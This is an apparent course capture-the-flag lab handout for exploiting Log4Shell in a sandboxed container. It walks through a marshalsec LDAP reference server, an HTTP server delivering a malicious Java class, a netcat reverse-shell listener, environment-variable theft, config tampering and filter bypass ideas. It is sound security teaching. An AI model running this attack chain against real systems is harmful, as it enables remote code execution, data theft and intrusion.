Log4J is a widely-used open-source logging framework for Java applications that enables developers to:
The Log4Shell vulnerability exploits Log4J’s lookup feature, which performs string substitution using the syntax ${prefix:name}. For example:
When Log4J processes a malicious JNDI lookup string, it connects to the attacker-controlled server and executes the retrieved code, leading to complete system compromise.
Here is a visual of the Log4j exploit and how it is accomplished (you can zoom in if this is too small via ctrl + scroll):
Setup
This setup process requires 4 separate terminal windows running simultaneously. Complete each step in order and keep all terminals active throughout the lab.
Step 1: User Authentication and Container Start
You will need to switch users to log in to log4j user via:
Credentials can be found in Canvas on the Log4Shell Assignment page
From the log4j user’s home directory, start the container:
Success Indicator: Container starts without errors and returns to command prompt.
Step 2: Log Monitoring Setup
Open Terminal Window #2 and navigate to the logs directory:
cd Desktop/log4shell/logs
Monitor application activity using one of these commands:
For application logs:
For console debug output:
Success Indicator: You should see log output similar to the image below.
**Log Rollover Issue: If logs stop updating, restart the tail command. This happens when log files become too large and rotate to new files. **
Step 3: LDAP Reference Server:
Open Terminal Window #3 and navigate to the target directory:
cd ~/Desktop/log4shell/target
Start the LDAP server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.17.0.1:4242/#Exploit"
Critical Configuration Notes:
Use Docker Host IP: 172.17.0.1 (NOT 127.0.0.1 or localhost)
Port 1389: LDAP server will listen on this port
Port 4242: Must match the HTTP server port in Step 4
It is very important that this matches the port specified in the Malicious server. If your exploit is not working because it is not connecting to the malicious server, your ports likely do not match OR the vm’s IP is not correct.
Success Indicator: Output shows server listening on 0.0.0.0:1389
Step 4: Malicious Payload Server
Open Terminal Window #4 and navigate to your flag-specific directory:
python3 -m http.server 4242
Your malicious .class file must be served from the directory your server is running in.
Port Synchronization: This port (4242) must match the port specified in the LDAP server URL from Step 3.
Success Indicator: Server confirms it’s serving HTTP on port 4242.
Step 5: Network Traffic Monitoring (Flag 2 Required, Others Optional)
Open Terminal Window #5 (if needed) and start a network listener:
nc -nlvp <your_desired_port>
Success Indicator: Output shows listener ready on your specified port.
Development and Debugging
Adding Debug Output to Your Exploit
To monitor debug statements from your Java exploit code:
Add debug statements to Exploit.java:
System . out . println ( "Debug: Your message here" );
Monitor debug output in Terminal Window #2:
tail -f ~/Desktop/log4shell/logs/console.log
Setup Verification Checklist
Before proceeding with exploitation, verify all components are running:
Terminal #1: Container is running (StartContainer.sh completed)
Terminal #2: Log monitoring shows active output
Terminal #3: LDAP server listening on port 1389
Terminal #4: HTTP server serving on port 4242 from correct directory
Terminal #5: Network listener ready (if required for your flag)
Common Troubleshooting
Connection Issues Between Servers
Problem: Exploit not connecting to malicious server
Solutions:
Verify ports match: LDAP reference URL port = HTTP server port
Confirm IP address is 172.17.0.1 (not localhost)
Check VM network configuration
Ensure both servers are running and listening
Log Monitoring Issues
Problem: Logs stop updating
Solutions:
Stop and restart the tail -f command
Check if log files have rotated (look for numbered versions)
Verify container is still running
Server Startup Failures
Problem: LDAP or HTTP server won’t start
Solutions:
Check if ports are already in use: netstat -tlnp | grep <port>
Verify you’re in the correct directory
Ensure Java classpath is correct for LDAP server
Check file permissions
Ready to Proceed
Once all servers are running and verified, you’re ready to begin the exploitation phases. Keep all terminal windows open and active throughout the lab.
Introduction Flag
Overview
This introductory exercise will help you understand Log4j fundamentals and verify your exploit environment is working correctly. You’ll learn to identify vulnerable logging patterns and execute your first successful Log4Shell exploit.
Understanding Log4j Logging
Basic Log4j Structure
Log4j is a logging framework that outputs program information defined by developers. A typical log statement follows this pattern:
static Logger log = LogManager . getLogger ( RestServlet . class . getName ());
log . debug ( "ApplicationId: {}" , applicationId );
Key Components:
Logger Declaration: Defines which class is logging
Log Level: Specifies message importance (DEBUG, INFO, WARN, ERROR, FATAL)
Message Template: Contains both static text and dynamic variables
User Input Injection: The applicationId variable – this is an attack vector
Log Output Analysis
The code above produces output like this:
Output Breakdown:
Timestamp: Automatically added by Log4j configuration
[Classname.java:LineNumber]: Identifies exact code location
DEBUG: Current log level setting
Message Content: Static text + injected variable content
Log Levels Explained
Log levels control output verbosity:
DEBUG: Most detailed, includes all messages
INFO: General information messages
WARN: Warning conditions
ERROR: Error conditions that don’t stop execution
FATAL: Critical errors that may cause application termination
Current Configuration: This application is set to DEBUG level, showing all message types.
Vulnerability Identification
The Attack Vector
The vulnerability exists wherever user-controlled input is logged without sanitization. In our example:
log . debug ( "ApplicationId: {}" , applicationId );
The applicationId variable can contain malicious Log4j lookup expressions that will be processed and executed.
Initial Application Testing
Environment Verification
Before attempting exploits, verify the application responds correctly to normal requests.
Required Header: All requests must include the GATECH_ID header.
Basic Connectivity Test
Open a new terminal and execute:
curl 'http://localhost:8080/rest/footballers/isAlive' -H 'GATECH_ID:123456789' -H 'Accept:application/json'
Analyzing the Response
Switch to your log monitoring terminal to examine the output. Look for:
Request intercepted – Indicates successful request processing
Method logging – Shows GET request details
URL logging – Displays endpoint path
Header logging – Critical: Shows which headers are being logged
Expected Output:
Note: You can zoom in by using ctrl + scroll
Identifying Exploit Opportunities
From the log output, you should see the application logging:
Method Type: GET
Request URI: /rest/footballers/isAlive
HTTP Headers: Various headers are logged and potentially exploitable
First Exploit: Java Version Lookup
The application checks and logs these headers (not all may be exploitable):
content-type
content-length
Cookie
X-NetworkUserId
Constructing the Payload
Your goal is to create a Log4j lookup expression that retrieves the Java version from the server.
Executing the Exploit
Craft a curl command that includes your malicious payload in one of the target headers. The payload should use Log4j’s lookup syntax to extract system information.
Success Verification
If successful, you should see output similar to:
Success Indicator: Look for Java version information in the logs. You may need to scroll up to find the output.
Expected Result: The logs should display detailed Java runtime information, confirming successful exploitation.
Understanding Your Success
What Just Happened?
Payload Injection: You inserted a Log4j lookup expression into an HTTP header
Log Processing: The application logged your header content
Expression Evaluation: Log4j processed your lookup expression
Information Disclosure: The server revealed system information
Security Implications
This demonstrates how Log4Shell can be used for:
System reconnaissance – Gathering server information
Environment variable access – Reading sensitive configuration
Potential remote code execution – In more advanced scenarios
Next Steps and Exploration
Additional Lookups to Try
Experiment with other Log4j lookup expressions:
${sys:user.name} – System username
${sys:os.name} – Operating system information
Important Reminders
Save Your Work: Regularly save your progress outside the VM to prevent data loss from system crashes or unexpected issues.
Troubleshooting
No Log Output Visible
Verify log monitoring terminal is still running
Check if log files have rotated (restart tail -f)
Confirm the application container is still active
Exploit Not Working
Verify exact syntax of Log4j lookup expressions
Try different target headers
Check that GATECH_ID header is included in all requests
Review Log4j lookup documentation for correct syntax
Success Confirmation
You’ve successfully completed this section when:
Application responds to basic requests
Log monitoring shows header information
Java version lookup returns system information
You understand the vulnerability mechanism
FLAG 1: Environment Echo (5 pts)
Overview
This exercise builds upon your Log4Shell foundation by targeting environment variables. You’ll use Log4j lookup expressions to extract sensitive configuration data stored in the server’s environment, specifically the ADMIN_PASSWORD variable containing your flag.
Prerequisites
Required Completion
Before attempting this flag, ensure you have successfully completed:
Setup – Environment configuration and container setup
Intro – Basic Log4Shell exploitation techniques
Verification Steps
Confirm your environment is ready by checking:
Container is running and responsive
Log monitoring is active
Basic HTTP requests succeed
Environment Setup
Container Initialization
If not already running, start the vulnerable application:
Important: Execute this script from the home directory of the log4j user to ensure proper path resolution.
Connectivity Verification
Test the target endpoint to confirm it’s accessible:
curl 'http://localhost:8080/rest/footballers/isAlive' -H 'GATECH_ID:123456789' -H 'Accept:application/json'
Expected Behavior:
HTTP 200 response from the server
Log entries showing request processing
Header information logged to your monitoring terminal
Understanding Environment Variables
What Are Environment Variables?
Environment variables are key-value pairs that store configuration data outside the application code. They commonly contain:
Database credentials
API keys and secrets
System configuration
Application-specific settings
The Challenge
Your objective is to extract the ADMIN_PASSWORD environment variable, which contains the flag for this exercise.
Attack Vector Selection
From your intro flag experience, you know that HTTP headers are logged and processed. You’ll need to:
Identify the correct header to inject your payload
Craft the environment lookup expression
Execute the exploit and locate the output
Success Verification
When successful, you should see log output similar to:
Look for the specific message pattern: “Congratulations! Your flag1 is: __________“
Submission Requirements
Flag Recording
Once you’ve successfully extracted the flag:
Copy the complete flag value from the log output
Add it to your project_log4shell.json file in the appropriate field
Verify the format matches the expected pattern
Important Reminders
Simplicity Focus: You do not need Java code, LDAP servers, Python scripts, or other complex tools for this flag. The solution uses only curl and Log4j lookup expressions.
Header Experimentation: If your first attempt doesn’t work, try different headers.
Case Sensitivity: Environment variable names are typically case-sensitive. Ensure you’re using the exact variable name: ADMIN_PASSWORD
Troubleshooting
No Flag Visible
Check all log output – Scroll up to find earlier entries
Try different headers – Experiment with location-related options
Verify payload syntax – Ensure correct Log4j lookup format
Confirm environment setup – Restart container if needed
Exploit Not Working
Request structure – Ensure GATECH_ID header is included
Log monitoring – Verify your tail command is still active
Payload format – Double check your syntax
Header selection – Keep trying other headers until you find one that works
FLAG 2: Get a Shell (5 pts)
Overview
This exercise demonstrates the most dangerous aspect of Log4Shell: remote code execution (RCE). You’ll craft a malicious Java payload that exploits JNDI/LDAP lookups to gain root shell access on the vulnerable server. This represents a critical security breach that could compromise an entire system.
Prerequisites
Required Completion
Before attempting this flag, ensure you have successfully completed:
Setup – Complete environment configuration
Intro – Basic Log4Shell exploitation fundamentals
Flag 1 – Environment variable extraction (recommended)
Essential Reading
Critical: You MUST read through the suggested readings about JNDI lookups before proceeding. Understanding the underlying mechanism is essential for crafting effective payloads.
Knowledge Requirements
This exercise assumes you understand:
JNDI (Java Naming and Directory Interface) basics
LDAP (Lightweight Directory Access Protocol) concepts
Java compilation and class file generation
Network service coordination across multiple terminals
Understanding the Exploit Chain
The Attack Flow
Log4Shell RCE follows this sequence:
Payload Injection – Malicious JNDI lookup inserted into logged data
LDAP Query – Vulnerable server contacts attacker’s LDAP server
Class Retrieval – Server downloads and loads malicious Java class
Code Execution – Malicious class executes with server privileges
Shell Access – Attacker gains command execution capability
Why This Works
The vulnerability exists because:
Log4j processes JNDI lookups in logged messages
JNDI allows remote class loading via LDAP
Lack of input validation allows malicious lookups
Execution context runs with application privileges
Environment Setup
Container Initialization
Ensure the vulnerable application is running:
Connectivity Verification
Test the target endpoint:
curl 'http://localhost:8080/rest/footballers/isAlive' -H 'GATECH_ID:123456789' -H 'Accept:application/json'
Multi-Terminal Setup
You should have 5 terminal windows open:
Log Monitoring – Tailing application logs
LDAP Server – Running your malicious LDAP service
HTTP Server – Serving your malicious Java class
Command Execution – Running curl commands
Network Traffic Monitoring – netcat listener
Java Version Verification
Critical Version Requirement
This exploit requires Java version 1.8.0_20 specifically. Other versions have security patches that prevent JNDI lookups.
Version Check
Verify your Java version before proceeding:
Expected Output:
Version Importance
Why This Matters:
Newer Java versions disable remote class loading by default
Security patches block untrusted JNDI lookups
Wrong version will cause silent failures with no error messages
Critical Warning: Using the wrong Java version will waste significant time as your exploit will fail silently. Always verify the version first.
Payload Development
Exploit.java Analysis
Navigate to your Exploit.java file and examine its structure. This file will contain the malicious code that executes when the JNDI lookup occurs.
Payload Objectives
Your Exploit.java should:
Establish reverse shell connection to your attacking machine
Execute with root privileges (due to container configuration)
Provide interactive command execution capability
Debugging Capabilities
The environment includes logging support for development.
Log File Location: ~/Desktop/log4shell/logs/console.log
Debugging Method:
System . out . println ( "Debug message here" );
Monitor your debug output:
tail -f ~/Desktop/log4shell/logs/console.log
Compilation Process
Working Directory
Navigate to the correct directory:
cd Desktop/log4shell/Flagx
Important: Ensure you’re in the correct directory before compilation
Java Compilation
Compile your exploit code:
Expected Result:
Success Indicator: This creates Exploit.class in the same directory
Compilation Troubleshooting
If compilation fails:
Check Java syntax in your Exploit.java file
Verify file permissions and directory access
Ensure proper imports for required Java classes
Service Coordination
HTTP Server Setup
From the directory containing Exploit.class, start your HTTP server:
python3 -m http.server 4242
Purpose: This serves your malicious Java class to the vulnerable server
Port Management
Critical: Pay close attention to port numbers throughout this exercise. Mismatched ports are a common failure point.
Port Usage:
4242 – HTTP server for class file delivery
LDAP Port – Your LDAP server (check setup documentation)
Reverse Shell Port – netcat listener for shell access
Service Verification
Ensure all services are running:
HTTP server responds to requests
LDAP server is listening
netcat listener is ready for connections
Exploit Execution
Payload Construction
Craft a JNDI lookup payload in your attack vector that:
Contacts your LDAP server
Requests your malicious class
Triggers code execution
Monitoring Success
Watch for activity across all terminals:
Log output showing JNDI lookup processing
HTTP server receiving class file requests
LDAP server handling lookup queries
netcat listener receiving shell connection
Success Verification
Expected Console Output
When successful, you should see output similar to:
Python server output:
LDAP server output:
NC output:
Shell Access Confirmation
In your netcat terminal, you should receive a shell connection. Test with:
Expected Response: root
Root Access Achieved
If you see “root” in response to whoami, congratulations! You have successfully:
Exploited Log4Shell for remote code execution
Gained root privileges on the vulnerable server
Demonstrated critical security impact of this vulnerability
Flag Retrieval
Navigation
From your root shell, navigate to the flag location:
Flag Execution
Run the flag retrieval program:
Expected Output:
Flag Submission
Add the retrieved flag to your project_log4shell.json file under the “Flag2” field.
Security Implications
This exploit shows how Log4Shell can lead to:
Complete system compromise with root access
Arbitrary code execution on the server
Data exfiltration capabilities
Lateral movement potential within networks
Persistent access establishment
Real-World Impact
In production environments, this level of access could enable:
Database compromise and data theft
Network reconnaissance and further attacks
Ransomware deployment and system destruction
Backdoor installation for continued access
Troubleshooting
Common Issues
No LDAP/HTTP Server Activity
Symptoms: No requests reaching your servers
Solutions:
Verify port configurations match across all components
Ensure services are listening on correct interfaces
Validate JNDI payload syntax
Compilation Failures
Symptoms: javac command fails or produces errors
Solutions:
Verify Java version is exactly 1.8.0_20
Check Exploit.java syntax and imports
Confirm working directory is correct
Shell Connection Issues
Symptoms: No reverse shell connection received
Solutions:
Verify netcat listener is running on correct port
Check Exploit.java connects to right IP/port
Validate payload execution path
Service Coordination Problems
Symptoms: Partial success but missing components
Solutions:
Restart all services in correct order
Verify each service is accessible independently
Check logs for error messages
Ensure port numbers match across configuration
Debugging Strategy
Test each component independently before combining
Monitor all terminals simultaneously during execution
Check service logs for error messages
Verify network connectivity between components
Use debug println statements to trace execution
Important Reminders
Java Version Critical: Always verify Java 1.8.0_20 before starting. Wrong versions cause silent failures.
Port Coordination: Mismatched ports are the most common failure point. Double-check all port configurations.
Debug Logging: Use System.out.println statements liberally to trace execution flow.
Multi-Terminal: Keep all four terminals visible to monitor the complete attack chain.
FLAG 3: Config.Properties Surprise (25 pts)
Overview
This exercise demonstrates Log4Shell’s ability to manipulate application configuration files in real-time. You’ll exploit the vulnerability to modify a properties file that controls footballer skill level, showcasing how attackers can alter application behavior through configuration tampering. This represents an attack that combines file manipulation with application logic exploitation.
Prerequisites
Required Completion
Before attempting this flag, ensure you have successfully completed:
Setup – Complete environment configuration
Intro – Basic Log4Shell exploitation fundamentals
Advanced Concepts Required
This exercise assumes familiarity with:
Properties file structure and Java configuration management
File manipulation through Log4j lookups
Application logic analysis and attack vector identification
Obfuscation/Encoding techniques for basic security filters
Environment Setup
Container Initialization
Ensure the vulnerable application is running:
API Endpoints
The /footballers/ resource provides these relevant endpoints:
GET All Records:
curl 'http://localhost:8080/rest/footballers/footballerList' -H 'GATECH_ID:123456789'
GET By ID:
curl 'http://localhost:8080/rest/footballers/footballer/<id>' -H 'GATECH_ID:123456789'
Configuration Architecture
The application uses a config.properties file stored in the root directory that:
Controls footballers skillLevel properties for all players
Is loaded at runtime for dynamic configuration
Affects response generation for footballer API calls
Includes tamper detection to prevent simple overwrites
Initial Reconnaissance
Perform preliminary reconnaissance to understand the application behavior:
Fetch all footballer records to understand the data structure
Select a specific ID for detailed analysis
Examine response patterns for configuration-driven behavior
Reconnaissance Phase
Data Structure Analysis
Execute the list command to examine available footballer records:
curl 'http://localhost:8080/rest/footballers/footballerList' -H 'GATECH_ID:123456789'
Analysis Objectives:
Identify footballer IDs for further testing
Understand response structure and skillLevel patterns
Note any configuration-driven field values
Individual Record Inspection
Select a footballer ID from the list and examine its detailed response:
curl 'http://localhost:8080/rest/footballers/footballer/<id>' -H 'GATECH_ID:123456789'
Key Observations:
skillLevel field behavior – How skillLevel’s are assigned
Response structure – Fields that might be configurable
Log output analysis – Identify potential injection points
Attack Vector Identification
Critical: Look for unusual or “out of place” variables in the logged output that might serve as attack vectors. These could include:
Unexpected user input fields being logged
Configuration parameter logging that accepts user data
Fields that seem designed for injection (this is intentional)
Understanding the Configuration System
Properties File Structure
The config.properties file contains key-value pairs that control application behavior:
Location: Root directory of the application
Purpose: Runtime configuration for footballer skill levels
Target Property: Controls skill level assignment for footballers
Tamper Detection Mechanism
The application includes security measures:
File integrity checking to detect complete overwrites
Property validation to ensure expected structure
Requirement: Must update properties without destroying existing ones
Attack Objective
Your goal is to modify the properties file so that:
skillLevel property is set to your GATECH ID (e.g., 123456789)
All other properties remain unchanged
File integrity is maintained to avoid detection
Security Filter Analysis
Someone might have tried to roll their own patch and tried to deny requests containing malicious string patterns.
This suggests:
Basic string filtering may be in place
Simple payload detection might block obvious attacks
Bypass techniques may be necessary
Obfuscation methods could be required
Filter Bypass Strategies
Consider these approaches:
Encoding variations in your payload
Alternative Log4j syntax that achieves the same result
String concatenation to avoid pattern matching
Case sensitivity exploitation
Payload Development
Payload Construction Considerations
Your payload must:
Locate the config.properties file in the root directory
Update the skillLevel property to your GATECH ID
Preserve all other properties to avoid tamper detection
Bypass any string filtering that might be in place
Injection Point Selection
Based on your reconnaissance, identify where user input is logged and processed. This could be:
Specific HTTP headers that are logged
Request parameters that appear in log output
An “out of place” variable
Testing Strategy
Identify the injection point through careful log analysis
Craft your payload to modify the properties file
Execute the exploit using the appropriate endpoint
Verify the configuration change through API responses
Success Verification
Expected Response Behavior
When successful, footballer API responses should show:
skillLevel field set to your GATECH ID (e.g., 123456789)
All other fields functioning normally
Configuration persistence across multiple requests
Flag Retrieval
If successful, you should receive your flag in the team field of the response:
Response Analysis
Important: Error messages in the logs are informational and don’t necessarily indicate exploit failure. Focus on:
skillLevel field changes as the primary success indicator
Flag appearance in the skillLevel field
Configuration persistence across requests
Troubleshooting
Common Issues
Blank Flag Response
Symptoms: Flag field appears empty or missing
Solution: Restart the container environment:
./stopContainer.sh
./startContainer.sh
Filter Bypass Failures
Symptoms: Payload appears blocked or filtered
Solutions:
Try different encoding methods for your payload
Use alternative Log4j syntax variations
Experiment with string concatenation techniques
Test case sensitivity variations
Configuration Not Persisting
Symptoms: Properties revert to original values
Solutions:
Ensure complete properties file structure is maintained
Verify your payload doesn’t overwrite the entire file
Check that tamper detection isn’t triggering a reset
Confirm atomic update methodology
Injection Point Identification
Symptoms: Unable to locate the attack vector
Solutions:
Carefully examine ALL logged output for unusual fields
Look for parameters that seem out of place
Test different endpoints for varying log behavior
Pay attention to fields that accept user input
Debugging Methodology
Log Analysis – Monitor all application logs during testing
Incremental Testing – Test components separately before combining
Payload Validation – Verify Log4j syntax before execution
Response Monitoring – Track changes across multiple API calls
Security Implications
Configuration Tampering Impact
This exploit demonstrates:
Runtime configuration manipulation without system access
Application behavior modification through external input
Persistent changes that affect all users
Subtle attacks that may go undetected
Real-World Consequences
In production environments, configuration tampering could enable:
Feature flag manipulation to unlock restricted functionality
Security setting changes to disable protections
Data processing modification to alter business logic
Audit trail corruption to hide malicious activity
Important Reminders
Reconnaissance Critical: Careful analysis of logged output is essential to identify the attack vector.
Filter Awareness: Basic string filtering may be in place – prepare bypass techniques.
File Integrity: Maintain all existing properties to avoid tamper detection.
Container Reset: If flag appears blank, restart the container environment.
GATECH ID Target: Use your GATECH ID as the skillLevel value
FLAG 4: Command and Concat (25 pts)
Overview
This exercise demonstrates Log4Shell’s capability for Java deserialization attacks combined with out-of-the-box obfuscation techniques. You’ll exploit a p2p payment endpoint to achieve file creation on the server through malicious object deserialization. The flag name “Command and Concat” provides critical hints about the exploitation technique involving command execution and string concatenation methods.
Prerequisites
Required Completion
Before attempting this flag, ensure you have successfully completed:
Setup – Complete environment configuration
Intro – Basic Log4Shell exploitation fundamentals
Advanced Concepts Required
This exercise requires deep understanding of:
Java deserialization vulnerabilities and exploitation
Command execution through Java objects
String concatenation techniques in Java
File system manipulation via deserialized objects
Payment API exploitation patterns
Understanding Deserialization Attacks
What is Java Deserialization?
Java deserialization converts byte streams back into Java objects. When untrusted data is deserialized, it can lead to:
Arbitrary code execution through malicious object deserialization
File system manipulation via object initialization
Command execution through crafted object chains
System compromise depending on application privileges
Log4Shell + Deserialization
This attack combines:
Log4Shell JNDI lookup to fetch malicious classes
Class instantiation during deserialization
File creation as proof of exploitation
The Attack Chain
The complete exploit flow involves:
Malicious payload injection into logged payment data
JNDI lookup execution to fetch your exploit class
File creation demonstrating successful code execution
Environment Setup
Container Initialization
Ensure the vulnerable application is running:
Target Analysis: Payment Endpoint
API Endpoint Structure
The vulnerable endpoint accepts payment creation requests:
curl -X POST 'http://localhost:8080/rest/payments/payment' -H 'GATECH_ID:123456789' -H 'Content-Type:application/json' \
--data-raw \
'{
"paymentId":"1",
"amount":"100",
"payer": {
"id":"2",
"firstName":"test",
"lastName":"test",
"accountNumber":"321"
},
"payee": {
"id":"1",
"firstName":"test",
"lastName":"test",
"accountNumber":"123"
},
"paymentDateTime": "2025-03-06T06:00:00.923163"
}
'
Request Analysis
Key Components:
HTTP Method: POST for payment creation/update
Content-Type: JSON data submission
Payment Object: Complex data structure with multiple fields
Required Headers: GATECH_ID for authentication
Initial Reconnaissance
Execute the provided curl command to understand baseline behavior:
curl -X POST 'http://localhost:8080/rest/payments/payment' -H 'GATECH_ID:123456789' -H 'Content-Type:application/json' \
--data-raw \
'{
"paymentId":"1",
"amount":"100",
"payer": {
"id":"2",
"firstName":"test",
"lastName":"test",
"accountNumber":"321"
},
"payee": {
"id":"1",
"firstName":"test",
"lastName":"test",
"accountNumber":"123"
},
"paymentDateTime": "2025-03-06T06:00:00.923163"
}
'
Analysis Objectives:
Exception behavior – Note that exceptions are expected
Log output patterns – Identify what gets logged and how
Clues in output – Look for hints about exploitation vectors
Field processing – Understand which JSON fields are logged
Critical: Pay close attention to logged message formats. The hint emphasizes that message formatting is key to exploitation.
Look for:
String concatenation in log messages
Payment input being directly concatenated
Command-like structures in logged output
Injection points where payloads could be inserted
Payload Development Strategy
File Creation Objective
Your Exploit.java must create a file with these exact specifications:
Filename: Ronnie.txt
Content: Single line containing Yeah buddy, aint nothing to it but to do it!
Location: Server file system (accessible to application)
Execution and Monitoring
Execute your payload while monitoring:
Application logs for JNDI lookup processing
LDAP server for class requests
HTTP server for exploit class delivery
File system for successful file creation
Success Verification
Expected Log Output
Upon successful exploitation, you should see output similar to:
Success Indicators:
Method name: postPayment logged.
Flag value displayed in log output
File creation confirmed through log messages
File Verification
The exploit should create:
File: Ronnie.txt on the server
Content: Exactly Yeah buddy, aint nothing to it but to do it! (no quotes)
Location: Accessible to the application
The flag appears in the log output after successful file creation. Look for flag information in the logged messages following the postPayment method execution.
Troubleshooting
Common Issues
No File Creation
Symptoms: Exploit executes but file isn’t created
Solutions:
Verify code executes (add debug output)
Check file permissions and write access
Ensure proper exception handling doesn’t mask errors
Deserialization Failures
Symptoms: JNDI lookup succeeds but no execution
Solutions:
Check Java version compatibility (1.8.0_20 required)
Ensure proper class compilation and hosting
Validate LDAP server responses
Injection Point Issues
Symptoms: Payload doesn’t trigger JNDI lookup
Solutions:
Analyze log output to identify injection points
Verify patterns in logged messages
Try alternative payload positioning
Blank Flag Response
Symptoms: Flag field appears empty
Solution: Restart the container environment:
./stopContainer.sh
./startContainer.sh
Debugging Strategy
Class Debugging – Add System.out.println to verify execution
Field Testing – Try JNDI payloads in different JSON fields
Log Analysis – Carefully examine patterns
Service Coordination – Ensure all supporting services are running
Security Implications
Deserialization Attack Impact
This exploit demonstrates:
File system manipulation via deserialized objects
Persistence mechanisms for maintaining access
Bypass techniques for input validation
Real-World Consequences
In production environments, deserialization attacks enable:
Backdoor installation through file creation
Configuration manipulation via file overwrites
Data exfiltration through custom file operations
System reconnaissance via information gathering
Important Reminders
Exact Specifications: File must be named Ronnie.txt with content Yeah buddy, aint nothing to it but to do it! exactly.
Hint Utilization: “Command and Concat” directly indicates the exploitation technique.
Log Analysis: Careful examination of log message formats is crucial for finding injection points.
Container Reset: If flag appears blank, restart the container environment.
FLAG 5: PubSub Override (25 pts)
Overview
This exercise demonstrates Log4Shell’s capability to manipulate application messaging systems through configuration file exploitation. You’ll exploit the vulnerability to redirect publish-subscribe communications to alternative topics, showcasing how attackers can intercept and manipulate real-time messaging infrastructure. This represents an attack that combines configuration tampering with message routing manipulation.
Prerequisites
Required Completion
Before attempting this flag, ensure you have successfully completed:
Setup – Complete environment configuration
Intro – Basic Log4Shell exploitation fundamentals
Advanced Concepts Required
This exercise assumes familiarity with:
Properties file manipulation and Java configuration management
Publish-Subscribe messaging patterns and topic routing
Message interception techniques and communication flow analysis
Configuration-driven messaging in enterprise applications
Environment Setup
Container Initialization
Ensure the vulnerable application is running:
Target Endpoint
The user update endpoint that triggers the messaging system:
PUT User Update:
curl -X PUT 'http://localhost:8080/rest/users/user' -H 'GATECH_ID:123456789' -H 'Content-Type:application/json' --data-raw '{"id":8,"userId":"2134","userName":"RSANCHEZ1","userRole":"R&D","adminYN":"Y"}'
Configuration Architecture
The application uses a config.properties file that:
Controls topic routing for publish-subscribe messaging
Is loaded at runtime for dynamic message destination configuration
Affects message publishing when user updates are processed
Contains topic mappings that determine message routing behavior
Understanding the Messaging System
PubSub Architecture
The application implements a publish-subscribe pattern where:
User updates trigger message publishing to configured topics
Application subscribes to topics for real-time processing
Topic routing is controlled by the properties configuration file
Message content includes user data and system information
Configuration Integration
The config.properties file contains:
Topic name mappings that control message routing
Runtime configuration loaded during message processing
Dynamic topic resolution based on property values
Message publishing parameters for subscriber notification
Attack Objective
Your goal is to:
Redirect message publishing to an alternative topic
Include your GATECH_ID as the account number in the published message
Maintain message functionality while altering the destination
Generate a valid flag through successful topic manipulation
Reconnaissance Phase
Log Analysis Preparation
Critical Hint: Look through the cs6035.log to find clues about what this other topic could be.
Execute the user update command while monitoring logs:
curl -X PUT 'http://localhost:8080/rest/users/user' -H 'GATECH_ID:123456789' -H 'Content-Type:application/json' --data-raw '{"id":8,"userId":"2134","userName":"RSANCHEZ1","userRole":"R&D","adminYN":"Y"}'
Log Output Analysis
Analysis Objectives:
Identify current topic names being used for publishing
Locate alternative topic references in the log files
Understand the message flow from user updates to topic publishing
Find injection points where user input affects log output
Message Flow Investigation
Monitor the application logs for:
Publishing preparation messages indicating topic selection
Properties file reading for topic configuration
Topic publishing events with message content
Subscription acknowledgments showing message receipt
Configuration Manipulation Strategy
Based on previous properties file exploitation knowledge:
Target the config.properties file in the root directory
Modify topic configuration without breaking other properties
Ensure atomic updates to maintain file integrity
Preserve existing functionality while redirecting messages
Payload Development Strategy
File Creation Objective
Your exploit must:
Overwrite the config.properties file with modified topic configuration
Redirect message publishing to the alternative topic discovered in logs
Include your GATECH_ID appropriately in the message routing so that it is published in the account number field
Maintain message structure to ensure proper flag generation
Execution and Monitoring
Testing Methodology
Analyze cs6035.log to identify the alternative topic
Craft your payload to modify the properties file
Execute the exploit through the appropriate injection point
Trigger message publishing using the user update endpoint
Monitor logs for successful topic redirection and flag generation
Success Verification
Expected Log Output
Upon successful exploitation, you should see output similar to:
Verification Steps
Execute the user update command after successful exploitation
Monitor cs6035.log for the expected message sequence
Verify topic redirection is working as intended
Confirm flag generation in the log output
Success Indicators
Topic redirection to the alternative topic you discovered
Message publishing with your GATECH_ID included in the account number field
Flag generation in the log output
Congratulatory message indicating successful completion
Troubleshooting
Common Issues
Blank Flag Response
Symptoms: Flag field appears empty or missing
Solution: Restart the container environment:
./stopContainer.sh
./startContainer.sh
Topic Discovery Difficulties
Symptoms: Unable to identify alternative topics in logs
Solutions:
Examine cs6035.log more carefully for topic references
Restart container to get fresh logs
Look for patterns in topic naming conventions
Check for debug or test topics mentioned in output
Search for flag-related topic names
Properties File Corruption
Symptoms: Application errors after exploitation attempt
Solutions:
Ensure complete properties file structure is maintained
Verify atomic update methodology
Check that only topic configuration is modified
Restart container if configuration becomes corrupted
Message Publishing Failures
Symptoms: No messages appear in logs after user update
Solutions:
Verify the user update endpoint is functioning
Check that properties file modifications are valid
Ensure topic names match discovered alternatives exactly
Confirm GATECH_ID is properly integrated
Debugging Methodology
Log Monitoring – Continuously monitor cs6035.log during testing
Topic Analysis – Systematically analyze all topic references
Message Tracing – Follow message flow from update to publishing
Configuration Validation – Verify properties file integrity
Security Implications
Message Routing Manipulation
This exploit demonstrates:
Communication infrastructure compromise through configuration tampering
Message interception capabilities by redirecting publish-subscribe flows
Real-time system manipulation affecting live messaging systems
Configuration-driven attack vectors in enterprise messaging
Real-World Consequences
In production environments, PubSub manipulation could enable:
Message interception for sensitive business communications
Data exfiltration through redirected message flows
System disruption by breaking critical messaging dependencies
Privilege escalation through message routing to administrative topics
Enterprise Messaging Security
Consider the broader implications:
Configuration security in distributed messaging systems
Topic access controls and authorization mechanisms
Message integrity in publish-subscribe architectures
Monitoring and detection of messaging anomalies
Important Reminders
Log Analysis Critical: Careful examination of cs6035.log is essential to discover alternative topics.
GATECH_ID Requirement: Ensure your GATECH_ID is appropriately included in the published message account number field for valid flag generation.
Container Reset: If flag appears blank, restart the container environment using the provided scripts.
Properties Integrity: Maintain existing properties structure to avoid application errors.
Message Monitoring: Watch the complete message publishing sequence to verify successful exploitation.
FLAG 6: Restful Data (15 pts)
Overview
This exercise demonstrates Log4Shell’s capability to exploit data persistence layers through malicious record injection. Unlike previous flags that focused on real-time request processing (“data in transit”), this challenge explores “data at rest” exploitation where malicious payloads are stored in databases and triggered during subsequent data retrieval operations. This represents a persistence attack that combines database manipulation with delayed payload execution.
Prerequisites
Required Completion
Before attempting this flag, ensure you have successfully completed:
Setup – Complete environment configuration
Intro – Basic Log4Shell exploitation fundamentals
Advanced Concepts Required
This exercise assumes familiarity with:
